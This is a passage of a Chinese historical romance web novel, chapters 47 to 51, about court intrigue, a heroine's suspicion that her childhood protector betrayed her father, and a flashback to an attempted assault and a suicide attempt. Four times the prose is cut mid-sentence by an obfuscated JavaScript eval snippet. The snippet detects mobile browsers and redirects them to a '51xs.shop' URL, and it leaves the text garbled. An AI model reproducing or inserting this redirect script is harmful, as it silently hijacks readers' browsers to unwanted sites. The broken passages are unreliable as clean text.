外人听着,仍觉赵缨客气有礼,但灵徽太了解他了,这般夹枪带棒地说话,实在很不寻常。 她睨了赵缨两眼,见他无动于衷,反而拼命躲避着自己的眼神,像个负气的斗鸡。 灵徽本就心事重重,自然就更懒得理他了。接过佛经,温声感谢:“七郎费心,阿父若有知,当欣慰还有人能记得他。” “太尉为国而死,所有大魏子民都该牢记。”谢衍道。见灵徽形容憔悴,又补了一句:“心中再悲伤,也要努力加餐饭,若不饮不食,太尉也会心疼的。” 谢衍似乎很会哄人,灵徽听了他的话,忧伤略解,话也多了起来。 有一团火灼烧在赵缨胸口,他发现自己并不如想象中那般大度。他总在说服着自己,嫁给谢衍是她最好的归宿,跟着自己只会担惊受怕,日夜悬心。可是,当每每想到有朝一日她弃了自己,嫁入谢家时,他便觉得心中一片荒芜,空寂,压抑地无法呼吸。 他们本该是一对比翼,一目一翅,唯有相互依傍着才能存活。 那些衣裳,一针一线,都是她的心意,他为什么要辜负,怎么可以装作视而不见呢?难道真的要伤了她的心,任那些比他殷勤的人,将她从身边抢走吗? 她离开自己三年,三年他寝食难安,麻木恍惚,这样的日子,他再也不要有了。 谢衍走时,又是霞飞满天。灵徽望着他离开的方向,心中微微叹息,下一瞬,却被人自身后环住了腰。赵缨的声音沉沉从耳后传来,潮湿又温热,仿佛一种蛊惑:“圆月,若是我做错什么了,你便直说。你莫要让我猜,更不要不理我,好吗?” 灵徽何曾见过这样的赵缨,他这个人少年老成,端稳持重,能杀敌,懂权略,有温柔细腻之处,但绝不会像此时这般,婉转示弱,像个求而不得的孩子。 但偏偏,她就瞬间心软的一塌糊涂。 47. 四十七、生变 能让赵缨看清楚他自己的心,并不是件容易得事情。可当彼此之间最后一层薄纸被捅破时,灵徽却并没有如想象的那般豁然开朗。 或许是他们本就足够亲密,即使换了身份,也仍会少些悸动。又或许是围绕在晋阳城上空的迷雾未能吹散,她的心头仍有芥蒂。更或者是需要面对的事情太多,背负的东西太多,所以儿女心思都会不堪其负。 灵徽转身,环住赵缨的腰。他的身上有晨露般干净的气息,有她熟悉又依恋的温热触感。她觉得自己像个被消耗了灵魂的怪物,对于感情冷漠而麻木,无论别人怎样待她掏心掏肺,她所能想到的只有自己的目标和利益。 可只有在这个人身边,她会觉得平静,觉得安全,什么都可以不想不念。 赵缨俯身,迁就着这个拥抱。他的身量太高,巍峨的像一座山,但山也有山的温柔和包容。 譬如现在,他为她挡着四面而来的山风,与她一道,立尽残阳。 …… 三日后,赵缨正常上朝,皇帝萧祁忽然就松了口气一般,散朝后又将他留在了太初殿。 “爱卿可算是回来了,”萧祁揉着眉心,十分焦躁苦恼的样子,“太尉周忌是大事,朕确实不好不允你的假。但如今朝务繁杂,朕需要你分忧啊。” 赵缨问道:“臣斗胆一问,可是发生了什么?” 萧祁并不掩饰自己对赵缨的看重,直言道:“不过三日,你这是铁了心要做山人了。难道你不曾听说么,徐州流民叛乱,袁祜无能,不过三日就让人占了下邳,现在叛军已经围了彭城。若是彭城失守,后果只会不堪设想。” 徐州本就流民诸多,去岁一年便有十万人从北地南下,追随朝廷。当时皇帝听了丞相王裕的建议,怕流民南下会引起动荡,便将人都阻在了江北的徐州,豫州一带,设立新郡,擢拔一批北地世族为郡守进行管辖。 荆州自然也有不少,赵缨管辖有道,非但没酿成祸患,反而分荒地,奖耕种,兴水利,还组建起了战力强悍的新军。但其他地方却不同,流民与原住民之间时常有冲突,争斗不断。一旦有导火索,便会酿成祸患。 “陛下想让臣去领兵平叛?”赵缨问。 萧祁点头,声音里带着恳切:“满朝文武,唯有卿可当此重任。” 谁知赵缨却并没有如以往般,一口应下,反而选择了推拒。他拱了拱手,神色肃穆:“陛下信任,臣自当万死不辞,可此次流民叛乱内情复杂,绝不是出兵平叛这般简单。” “哦?”萧祁挑眉,有些疑惑。他深知赵缨谨慎,素来思虑周全此言绝非信口而说。 赵缨如实说道:“袁祜并非无能之辈,治军一向有方,若是寻常流民,怎会短短三日就攻下下邳重镇。依臣看,流民必有人组织,且此人颇有将才,不可小觑。” “那又如何!”萧祁并不满意这个理由,在他看来,流民有人组织算不得怪异,毕竟北地而来的人中不乏世家大族,也不乏能占善战,智谋频出的人才。赵缨所说,不过是略加思索便会有的结论。 “派兵平叛,只会激发流民怒火,非但无法解决问题,还会让归附朝廷的人寒了心。不妨先派人去招抚,若不成,再派兵也不迟。此外,需细细调查此事,必不让别有用心者逍遥法外,也不可让无辜之人遭连累。”赵缨沉声道。 萧祁脸色阴郁,将怒未怒,但还是将话听了进去。 “玄鉴话中有话,此间并无外人,不妨直说。”萧祁踱步走到赵缨身边,拍了拍他的肩膀。 赵缨出身寒门,若非他着力提拔,也不会拥有如今的地位。萧祁虽不敢讲信任全部交付在这样一个无亲无族,了无牵挂的人身上,但他毕竟也算自己能靠得上的肱骨之臣。若是他知道感恩,便该对自己毫无保留。 “臣去平叛,无论胜败,必有损失。”赵缨实话实说。 萧祁却被他气的发笑:“怎么,还存了私心,怕损失部曲?” 赵缨迎着天子的戏谑,说了句是:“臣的部曲,便是陛下的私兵。如今诸世家恃功而骄,图谋甚深,不就是仗着家资雄厚,部曲众多么。” 萧祁听他说完,眼睛陡然一亮:“继续说。” “陛下英明,此次可另选二人处理此事,一为明,持朝廷旨意前去招抚,二为暗,予破虏将军之职,率兵平叛。待功成,再行嘉奖不迟。”赵缨说话时,总留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126327|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有余地,因而听他说话的人,便也有足够的发挥余地。 果然,萧祁思索了半晌,豁然开朗,笑道:“朕明白了,丞相王裕可前往招抚,淮南太守王冀带兵平叛。如此安排,可周全?只是……若功成,又该封赏什么呢?” 赵缨这时却藏拙起来,并不再多言,只是道:“陛下自有圣裁,臣一个带兵的粗人,哪里懂这些。” 萧祁笑声更大,指着赵缨道:“你啊,若你赵玄鉴是粗人,那这满朝便更没有一个朕能看上眼的了。” 皇帝心中有了成算,大事已了,心情自然舒畅。当夜便留赵缨在宫中,畅饮了半宿,君臣想得,引得众人赞羡不已。 …… 灵徽知道此事后,拊掌大笑,直叫了几声妙:“流民数日便攻破下邳,可见势力非小,王裕纵有三寸不烂之舌,也未必能建立奇功,不过是个幌子,还得靠兵平叛。那王冀若是败了,损兵折将不说,陛下必严惩,到时阿兄再去平叛,便是建功立业之机。” “可若是胜了呢?那不是助长了他的气焰,倒是陛下不得不封他为扬州刺史,为之奈何?”她想了想,又有几分失落。 赵缨见她双眸因为兴奋而灿然生辉,不觉也心情大好:“袁祜既然有失城之责,必遭贬斥,倒是王冀自会领了徐州刺史之职。” 他将天子的心思猜的透彻,所以当时什么都没说,因为顺理成章之事,无需他多言。 灵徽将头摇的像个拨浪鼓:“那不行,白白便宜他,掌一州军权,日后更难对付了。” “徐州刺史和扬州刺史,哪个权势更重呢?”赵缨眯了眯眼眸,十分从容,“将欲取之,必先予之,徐州事务复杂,又为前线疆土,倒时候会发生什么,谁又可知?” 侧首相看,曾经懵懂天真的小女郎,心智和美貌皆以想不到的速度在增长,他觉得欣慰,也觉得担忧。 “阿兄,徐州好端端的怎么就生乱了呢?我们的机会来得是不是太快了些,倒像是上苍相助一般……”灵徽嘀咕了一声,见赵缨唇角有莫测的笑意,隐约猜到了什么,却强迫自己打消了这个念头。 他应当不会置百姓于不顾,也许的确是天意。 48. 四十八、密谈 王裕果然无功而返,被流民军首领羞辱了一番后,灰头土脸的回了健康,也带回了关于徐州流民之乱的确切消息。 听说流民军首领叫冯籍,冀州人,曾做过常山太守郑怀的掾属。后来常山陷落于匈奴人手中。刘棼任命的伪太守皇甫易十分欣赏他的才华,擢拔其为功曹,但其人刚正,不满皇甫易残暴,苛待百姓,于是向南归附而来。 一路流民甚多,冯籍贤名在外,不久就成了流民之首,扶老携幼,一路浩浩荡荡落足到了徐州。 南下三年,本来已经安定下来。但去岁,冀北王慕容执襄国大胜,从匈奴人手中夺得冀州全境,并将王都搬到襄国。他听从清河郡公慕容桢,侍中田穆的建议行儒法,安世族,奖励耕种,劝课农桑,冀州之地很快一片晏然。 流民多冀州人,本就不满于朝廷税负沉重,又不堪忍受背井离乡之苦,很快便有人起了北还之心。 这些消息传到袁祜耳中,他武断地认定是冯籍不忠,蛊惑于民,加之又拦截了数封往来于冯籍和慕容桢之间的书信。一怒之下,袁祜并未上报朝廷,而是选择直接将冯籍逮捕入狱,判了腰斩之刑。 此举自然触怒了冯籍的手下和冀州流民,他们将冯籍截出,举了义旗,就地起事。 “这样看,倒像是慕容桢的挑唆。”谢衍一面滔滔不绝地说着,一面替灵徽布菜。裕景楼的鱼脍最是美味,他早想带灵徽来尝尝,今日难得她没有拒绝,应邀而来。 薄如春雪的鱼脍还未落到灵徽的盘中,却听咚的一声,灵徽手中的竹箸已落在了地上。谢衍忙道无妨,吩咐人去换,抬眼时却见她脸色煞白,双目呆滞。 慕容桢…… 他几乎是一刹那,忽然就想起了她的禁忌,然而话已然落地,再无收回的可能。关于她的经历,建康城存在不少的传言,她从不和人说,却也从来没有否认。 可她只是失态了片刻,很快就恢复了平静,声音淡淡的:“慕容桢有大志向,一个小小的冀州,满足不了他的胃口。” 谢衍见她没有回避,也不好生硬地转换话题,便顺着她的话继续:“也是袁祜鲁莽武断,百姓讨得只是一份活路,谁给的又有什么关系。” 然而灵徽想得却是另一件事,便问道:“那冯籍似乎很有将才,依你看,王冀此去平叛,胜算可大?” 谢衍笑着摇头:“这如何能预料?不过王家部曲甚多,王家子侄里也多有能征善战之辈,恐怕流民军不会是对手。” “江州刺史陶襄此次为副将,陶老将军沙场老将,他若出马,胜算只会更大。” 陶襄啊……灵徽暗暗哂笑,说起来,她认了裴夫人为义母,这位江州刺史也算是自己的义父。可显然这都是表面文章,裴家和陶家是长公主的依仗,陶襄去给王冀做副手,也不知是皇帝的意思,还是长公主的请求。 看来长公主是铁了心要与王家捆绑在一起了。 “灵徽,你可是不喜欢听这些?”谢衍觑着灵徽的脸色,见她有些怏怏不乐,忙说道。 灵徽从思虑中抽离出来,摇头:“怎会,如今天下局势是否安稳,关乎到百姓能否安居乐业,也关乎到我们能否安定生活。所以,我很感激你能跟我说这些,没有嫌弃我见识粗陋,目光短浅。” “你怎会是目光短浅之人,你的心胸见识,便是我都望尘莫及。和你相谈,总能获益良多,有你在身边,是我的福气。”谢衍很会夸人,短短数言,让灵徽红了脸,方才的恍惚和郁闷都散了许多。 “赵使君,经常同你说这些吧?他乃当世英雄,胸襟气魄,智谋能力整个大魏都难有匹敌之人。”谢衍由衷赞叹,脸上看不出任何别扭之处,反而一片光风霁月的坦荡。 秉性澄澈,不染尘埃,说得便是谢衍这样的郎君。 灵徽说没有:“阿兄事务繁杂,不大同我说这些。” 她虽无怨怼之意,但谢衍听在耳中却很开心,至少他能扮演好一个倾听者的角色,在她的生命中,怎么不算是不可或缺呢? 谢衍细细地挑了鱼刺,又夹了几片到灵徽盘中,佐料的味道有些辛辣,她似乎并不反感,将他夹得都吃了个干净。 她的吃相分外优雅,唇齿轻轻开阖,嚼得又慢又细,脸上也无更多表情。 谢衍喜欢看她吃东西,一双眸子就这样盯着,满满皆是笑意。 “若是喜欢,咱们明日再来,可好?”谢衍试探着问道。 灵徽略作思忖,尚未给出答案,便听到包厢之外,有人声响起:“玄鉴如此忙碌,老朽还要叨扰,实在是冒昧至极啊。” 一个熟悉的声音清晰传来:“相国设宴相邀,赵某哪敢推辞,自当排除万难而来。” 谢衍给了灵徽一个疑惑的眼神,灵徽与他对视,面上却平静,像是早就知晓一般。 二人的交谈声逐渐远去,想是进入包厢之中。 灵徽看了眼谢衍,旋即推门而出,对着云阁耳语了几声。不久后,云阁返回,将他们带到了一间空屋子。谢衍方疑惑不解时,就听到了隔着墙壁的另一边传来清晰的交谈声。 那墙做得极薄,一墙之隔就是赵缨与丞相王裕的饮酒之地。谢衍没有偷听的经验,涨的满面通红,手脚都无措起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130169|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 灵徽却起了狭促心思,拍了拍他的肩膀,凑到他耳边道:“我们今日不做梁上君子,做个屏外君子可好?” 谢衍屏住呼吸,貌甚认真地思索了半晌,才勉强点了点头。 约莫谈话私密,所以侍从护卫皆守于屋外,谁能料到有人竟然敢在隐蔽地隔间偷听,故而话也说得直白干脆。 “使君乃刚直之人,老夫也不绕弯子,今日约使君至此,却是有事相求。”王裕的声音略带苍老,语速很慢,一听便知是个审慎之人。 赵缨亦如平常,沉稳谦逊:“怎敢当相国一个‘求’字,若有事情,还请吩咐便是。” “哪里,后生可畏,老夫岂敢倚老卖老,当初你南渡之时,我便一眼看重了你的人品能力,多次向陛下保举,让你带兵北伐。如今你有如此成就,可见老夫也颇有识人之能啊!”王裕缓缓道。 他句句客气,但句句邀功,赵缨如何听不出来。便顺着他的话道:“某一日不敢忘记相国保举之恩,若无相国,哪里会有今日的赵缨。” 王裕显然对他的态度十分满意:“玄鉴知恩重义,老夫没有看错人。” 客套铺垫到这里,就该进入主题了。 “陛下信重你,特命你带兵在西山建卫城,此责的确颇重,不过依老夫之见,玄鉴之功还应在战场,大魏需你这样的忠臣良将,才能杀死胡虏的勃勃野心。” “相国之意……”赵缨装作不懂。 “此次平叛,王冀恐难取胜,还得靠你啊!”王裕说得颇直白。 赵缨却笑,似乎并不认同:“府君亦是沙场宿将,且又有陶老将军相助,怎会不胜。” “王冀能力如何,我再清楚不过了,在朝中料理些庶务或许尚可,兵法谋略,胆识见识都不能与那冯籍相比。你与冯籍一向交好,这一点最清楚不过。可惜我王家儿郎,有功无功不论,若是折损太多,我岂有脸面对列祖列宗。” “相国太过悲观,哪里会这般夸张。听说此次太守率兵五万,而冯籍手中流民也不过三万,且多为田舍夫,从未上过战场,怎会是对手。”赵缨道。 王裕并未等他将话说完,直接道:“若玄鉴领兵仗义相助,老夫愿表奏你为扬州刺史,都督三州之兵,如何?” 一阵沉默…… “不仅如此,老夫还要将幼女令华嫁予你,咱们自此缔结百岁之好,今后王家与你荣辱一心,绝不背弃。” 灵徽的手紧紧握成拳,她没有意识到,手心已汗意涔涔,而她的整个脸都僵得不成样子。谢衍看了看她,无奈叹息,将她的手轻轻放在了自己的手中。 49. 四十九、辜负 她在等赵缨的回答,那样静谧又漫长,只闻得心跳如擂鼓一般,像一个等候处决的犯人。 “多谢相国抬爱,赵缨尽力一试。” 如重锤落地,悬着的心忽然就死了。灵徽闭上了双眼,听到方才还兵荒马乱的那一处,忽然一片寂静。 灵徽没有落泪,但这一刻,她只觉得麻木,疼得麻木,麻木到不知道该做什么,不知道该往哪里去。 她的心是一片寂静的荒原,那里本就该寸草不生。是她自己有了妄念,以为会有一个人并肩携手,以为那样便不再孤独。人就不该有妄念,那是一种罪,容易将自己扯到万劫不复的境地。 三州之兵,世族之女,便是傻子都知道该如何选,更何况聪慧如赵缨。 他一路走来颇多艰难。年少时只身入伍,投在了阿父门下,别人不肯吃的苦,他从无抱怨,别人畏惧的危险,他从不眨眼。 阿父曾说,赵缨将来必成大气,能忍人所不忍,能人所不能。 得了阿父的器重,他便被擢拔的很快,短短三年,就成了从事中郎,是阿父手下一等一的心腹。 那时就有人打趣他:“中郎将如此年轻有为,又深得器重,莫不是准备做杨公的乘龙快婿?若是真娶了刺史的独女,将来整个并州都是你的了。” 他一听便翻了脸,将手中的箭矢扳成两段,恨声道:“若赵缨有此心,天地不佑,不得好死。” 自此,他威望更重,人人都道赵缨重情重义,有古之君子遗风。 如今,他已成一方州牧,手中握有重兵,但处境仍尴尬。在这个家世为重的时代,他寒门的身份,寥落的家族,稀薄的亲缘,都让他的权势危如累卵,为世不容。世族织就了一个细密的网,彼此利益交错,荣辱相随,偏偏他是这张网之外的人,踽踽独行,毫无助力。 现在王裕给他抛下了一个天大的诱惑。只要他娶了王家的令华,他便填补了最后一点缺憾,自此,应无所求。 或许已经过去了很久,久到王裕离席而去,不一会儿赵缨也随之离开。她仍怔怔站着,寻不回呼吸的节奏。 灵徽以为自己勉强维持住了仪容,没有太过失态,但低头时才注意到,她的指甲已深深嵌入到了谢衍的肌肤里,那里青紫一片,伤痕斑驳。 他回了一个温柔的笑容,眸中只有担忧。 “赵使君或有苦衷。”若是现在还看不出她对赵缨的情意,那自己未免也太迟钝了。但无论私心中是羡慕抑或嫉妒,他最不想看到的就是灵徽这样失魂落魄的样子。他看不得她伤心,所以忍着愤怒,这般安慰。 灵徽慢慢松开了他的手,苍白的脸上,一双明眸湿漉漉的,带着迷惘和仓皇:“你……莫要见怪,是我失了分寸。” 她终于捡回了自己的神智,也知道自己不该在谢衍面前有如此失礼的举动。他因为自己受了伤,却一声不吭,也不多话,只是担忧。这些都让她心中更加难受。若他知道,连答允吃鱼脍都是自己别有用心,他会不会对自己很失望。 人就是这样不堪,一边被伤害,一边又在伤害别人。善心总被践踏,多情必受辜负。 谢衍正要宽慰,忽听身后门扉轻响,云阁从另一边走进了这间屋子。一进来见谢衍在侧,犹豫了一瞬后,才附在灵徽耳边说了句话。 灵徽听到后,先是看了看谢衍,然后才对云阁点了点头。 她对所有人都有戒备,谢衍从来都知道,不等她出口赶人,自己先找好了台阶:“崔子瑜得了一幅画,一早就邀我同赏,既然你有事,我便前去赏画,不再相陪了。” 走了几步,又不放心,对云阁温声嘱咐:“女君今日饮了酒,你多看顾她些。事情料理完后,去崔府找我,我送你们回山。” 灵徽却说不用:“回山之路我颇熟,七郎无需费心,安心赏画便好。” 说这话时的她,已经恢复了往昔模样,举止言谈皆周到从容。谢衍叹息了一声,她的清醒和克制让他心疼,却也让他稍稍放心了些。她将所有心事金装玉裹,藏在无人窥探的角落,他就绝不会拆破,让她难堪。 “好,路上小心。”他拱了拱手,转身离开。 当最后一片银灰色的衣角消失在走廊尽处时,灵徽才敛起了脸上僵硬的笑容,素白的一张脸上,黑云压境,阴霾重重。 “叔父将人带到了吗?路上可曾碰到什么人?”灵徽轻声道。毕竟今日裕景楼热闹得出乎意料,王裕和赵缨方才离开不久,她不想横生枝节。 云阁摇头:“人从后门带过来的,安排在了后院朱雀阁中,无人遇到。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149131|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 灵徽点头,顺着暗道,一路来到了后院。朱雀阁外只有两个护卫,皆是殷沣身边的人,灵徽环顾四周,见静谧无人,于是放心踏入阁中。 她一出现,坐塌上的两个人便立刻起身。灵徽一眼就看到了殷沣身边,那个正随着他一道叩拜的人。 五短身材,黝黑皮肤,可不正是朱虚。 这才是她今日皆由鱼脍之事而来的真实目的,至于王裕和赵缨的私会,不过是意外的收获。 无数过往纷至沓来,她胸口激涌着澎湃的血气,但出口却只有一句话:“你,你果然是朱虚?” 那个和她年岁相仿的少年,那个心灵手巧的士兵,那个赵缨口中为他挡箭而死的“幽魂”…… “女君,正是朱虚啊,你不认识他了吗?”殷沣急切道。一面扯过朱虚到她身边,让她细看。 人憔悴了许多,瘦弱了许多,但不会有错。 “赵缨说你死在了晋阳城,为他挡箭而死……”灵徽唇齿有些发麻,半晌后,才缓缓说道。 朱虚在听到这个名字后,声音忽然拔高,神情充满悲愤:“赵缨?女君如何能信他的话。他与匈奴人早有勾结,城破那日我亲眼看到他与匈奴细作往来,我因一时不慎被他察觉,这才有了杀身之祸。” 说完,他扯开了胸口的衣物,指了指那道狰狞的伤疤:“这处为赵缨佩刀所刺,根本不是什么箭伤。” 灵徽向后退了几步,只觉耳中嗡鸣,头晕的厉害。 为这么多年的情义,她做了最后一次挣扎:“他没有道理和匈奴人勾连啊……” “若是朝中有人想让他这么做呢?”殷沣的声音响在耳畔,“太尉为国之股肱,匈奴人忌惮他不说,朝中也免不了有人妒忌,听说当时先帝册封他为大司马的旨意已经在路上了。” “女君熟读经史,难道不闻长平旧事?若匈奴铁蹄当真可怕,将军如何能一守十年。” 长平旧事……廉颇用兵持重,固垒坚守三年,赵王求胜心切,中反间之计,罢免廉颇而用赵括,故而一败涂地。 她的玄鉴阿兄,便是反间之计的一环吗?她不能置信,不敢置信,但种种证据交错在一起,又由不得她不信。 这个世上,若是连赵缨都不可信任,那还有什么意思。 50. 五十、失望 灵徽已经忘了自己是如何回的山,心如同被剜了出来,胸口处空得厉害,疼得窒息。 呼啸在山中的风,仿佛吃人的猛兽,嘶吼出可怖的声音,卷起那些不禁风霜的叶子,直往脸上扑。她被吹得麻木,僵着身体,一步步往前游荡。 多可悲,孤零零的世间,只有她一个人踽踽独行。 阿父留下的书里,记载过这样一个故事,她记得很清楚:“刑天与帝至此争神,帝断其首,葬之常羊之山,乃以乳为目,以脐为口,操干戚以舞。①” 她便如那不甘心的刑天一般,无论经过多少磋磨,总有些不自量力的乐观。报仇的火焰燃烧在心口,便像是给她续了命。她挣扎成奇怪又别扭的样子,靠着执念,茫然游走在这个世间, 她只是个不合时宜的存在,早该随着晋阳城的陷落,消失在这个世上的。错的从来不是她,是这个残酷荒谬的世道,是这世道下生活着的暴戾恣睢的人。 皇帝不念将士守土之忠,反而处心积虑的算计着他留下的部曲人马。世族耽于享乐,不思北伐雪耻,只一门心思地勾心斗角,争名夺利。流民南渡,反遭欺凌,庶族有志,无路报国。整个大魏都像是一块烂肉,不管装饰地再正常,也难掩让人窒息得腐臭。若阿父知道,他当初拼死保卫的社稷是这般,该有多失望。 她反正已经失望至极,厌恶至极,对这里所有的一切。 云阁知道她的性子,一路沉默地跟着,没有敢上前劝说一句。 回到观中时,已是深夜。星台看到两人狼狈模样,惊了一跳,想问什么,却被云阁拦住,只吩咐她去少些热水,服侍灵徽沐浴。 身体埋在热水之中候,方才有了一丝活气,灵徽慢慢找回了自己的知觉,终于落了泪。簌簌而落的泪水悄然藏进了浴桶之中,混合着蒸腾而起的水汽,仿佛能掩藏起所有的脆弱。 慢慢的,呜咽变成了嚎啕,听得门外的两个婢子面面相觑。云阁叹息了一声,对星台摆了摆手,示意她不要打扰,让女君发泄出来也好。毕竟她一向喜欢压抑着性子,这样下去,人迟早会受不了的。 她虽一直跟着,却也未能窥到全貌,女君今日在裕景楼与赵将军不期而遇,她未出面,反而在隔间窥了半天,出来后脸色就很不好,人也恍恍惚惚的。后来她去后院见了那个北地来的人,情况就更差了,肉眼可见的悲伤难抑,如丢了魂魄。 问题应该出在了赵将军身上,他们一起长大,本该毫无芥蒂,不知道出了什么问题,让女君伤心至此。云阁只隐隐觉得该是大事,可女君不说,她也不好猜测。只是提醒星台,这些日子谨言慎行,若是赵将军前来,不要多言,更不要将女君的行踪泄露出去。 星台懵懵懂懂地答应了下来,越发疑惑起今日的事情。 那一夜,灵徽沐浴后便发起了高热,迷迷糊糊中,她又梦到了在北地的事情。 那时洛城骤然沦陷,王家早已撤离,赵缨毫无音讯,她便随着流民毫无目的地乱窜,躲避匈奴人的奸杀掳掠。 一路越逃越觉得风光诡异,原来这些人不是要下江南,而是要往幽州而去。灵徽听说,阿父曾与鲜卑人关系甚好,鲜卑人也一向以大魏忠臣自居,所以她也没有改道,一路饥寒交迫,终于来到了范阳。 本以为终于得活,却不知那范阳太守卢毅,也是酒色之徒。流民中略有姿色者,皆没入太守府中为奴,姿色尚可者,直接沦为女伎。灵徽自然无法幸免,卢毅看到她眼睛都直了,径直抱起她往内院而去。 或许是幸运,又或许是不幸,在她挣扎哭叫时,听到了那个名字。 “启禀府君,辽东郡公府的公子慕容桢已到,想请府君一道商议破敌之策。”门外有人禀报,卢毅肥厚的手掌堪堪停住,视线在灵徽的脸上徘徊了片刻,终于咬了咬牙,翻身下榻。 “等晚些再收拾你。”他恶狠狠地甩了这样一句话,拂袖而去。 再后来,灵徽没有等来卢毅,而是等来了那个身材高大,五官俊美凌厉,如同杀神般的慕容桢。 “卢太守已经将你送给了我,”他俯了俯身子,眼看着那个桃花般清透明丽的女子,一路瑟缩着向后躲,直把自己缩在了房屋的角落,一处衣柜的后面。她便以为躲在那里,就会有片刻的安全吗?单纯幼稚的如此可爱。 慕容桢大步上前,伸手扶在墙壁上,便将她桎梏在方寸之间,退无可退。 “兵法有云,置之死地而后生,我也很好奇,你将如何背水一战?”他虽然带着笑意,但那双眸却如狼般锐利可怖。 分明是鲜卑人的长相,但汉话说得极好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158451|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还读过兵书……慕容氏……灵徽想起阿父说过,慕容鲜卑汉化已久,辽东郡公慕容执便与他常有书信往来,曾约为兄弟,一起抵御匈奴。 她鼓起勇气,抬起一双湿漉漉的眸子看着对方,声音怯怯:“不知慕容执是足下何人?” 那人听到这个名字,果然一愣,挑眉道:“你认识他?” “我阿父是并州刺史杨公,朝廷已经追封他为太尉,忠献公。”她的樱唇中说出这一串封号时,带着小小的得意。 慕容桢略思索后,终于想明白了她口中所说的阿父是谁,汉人颇多避讳,说话时总绕着这么大的圈子。 她的言谈举止,她的样貌气质……是杨尚的女儿无误。如传闻一样,杨尚对这个独女宠溺非常,这才养出她这般骄矜懵懂的性子。 他存心逗她,伸手摸了摸她的脸,滑腻的触感,让他心头大悦:“这和我有什么关系呢?我只知道,卢毅有求于我,特送了我一个美人。” “今日便由你来侍候枕席吧。”他捉住了她的肩膀,轻轻一提,她便如花瓣般轻飘飘地落到了怀中。 像是突然意识到自己糟糕的处境和即将迎来的不堪命运,她眨着大眼睛,两行清泪盈盈落下。 “世道云变,乾坤失序,才会让尔等豺狼横行。”良久,她咬着唇,低语道。似乎这样的话帮助她走出了低迷哀伤的情绪,她倔强地咬着下唇,不让自己哭出声来,抬起手,胡乱抹着颊边的泪。 慕容桢才不理会她口中那些文绉绉的辱骂,他俯身,用唇轻触她的脸颊,意料之中的温软触感。她的身上有三月桃花的味道,蛊惑着他的心跳。 灵徽受了这样的唐突,脸上的血色一点点褪尽,连唇都泛出了夸张的苍白。这些时日,她遭受了无数的艰难困苦,哪怕三天未进一粒口粮,她都从未动过了断的念头。她以为只要活着,就能有拨云见日的一天。可是现在,她知道自己注定在劫难逃,注定在这场乱局中粉身碎骨。 于是狠了狠心,挣脱他的束缚,向着身旁的墙壁胡乱撞去。 注释:①故事出自《山海经·海外西经》:讲的是刑天曾和黄帝争夺神的位置,被黄帝砍断了头,把他的头埋葬在常羊山上。于是他用□□当做眼睛,用肚脐当做嘴巴,拿着盾和斧头挥舞着,继续反抗。 51. 五十一、相处 她的动作过于突然,即使身手利落如慕容桢,也只凭着本能扯住了她的一截小臂。但她存了死志,力道甚大,眼看着小臂滑出,人就撞在了墙上。 “咚”地一声闷响,鲜血四溅,粉白的墙面上立时出现了一片血迹,好像冬日雪中绽放的寒梅。 慕容桢急忙将人揽在怀中,探了探鼻息,虽微弱却尚有生气。于是将人放在了榻上,胡乱扯过腰带,手忙脚乱地给她包扎住,再出去喊了仆从。 卢府的医士来得很快,看了看额上的伤,还有什么不明白的,只不过这深宅大院最是藏污纳垢,可怜的小女郎只能白白受委屈。他见得多了,自然也知道该说什么,不该说什么,便道:“伤口看着可怖,但好在没伤到骨头,养些时日便能好。只是切莫让她激动,不然落了病根,可就麻烦了。” 她的身边坐了个高大的异族男子,听闻此言,只是淡漠地点了头,吩咐仆从他下去开方子。 两日后,灵徽苏醒,人变得木木的,一言不发,只是流泪。 慕容桢难得有耐心,处理完手中的事务后,便会来看她。放在她旁边的食物分毫未动,药凉了又热,热了又凉,她闭着双目,静静地躺着,要不是眼皮偶尔的跳动,眼角残泪不绝,慕容桢几乎以为她已然香消玉殒。 “不肯吃药?” “想要绝食?” “你当真不想活了!” 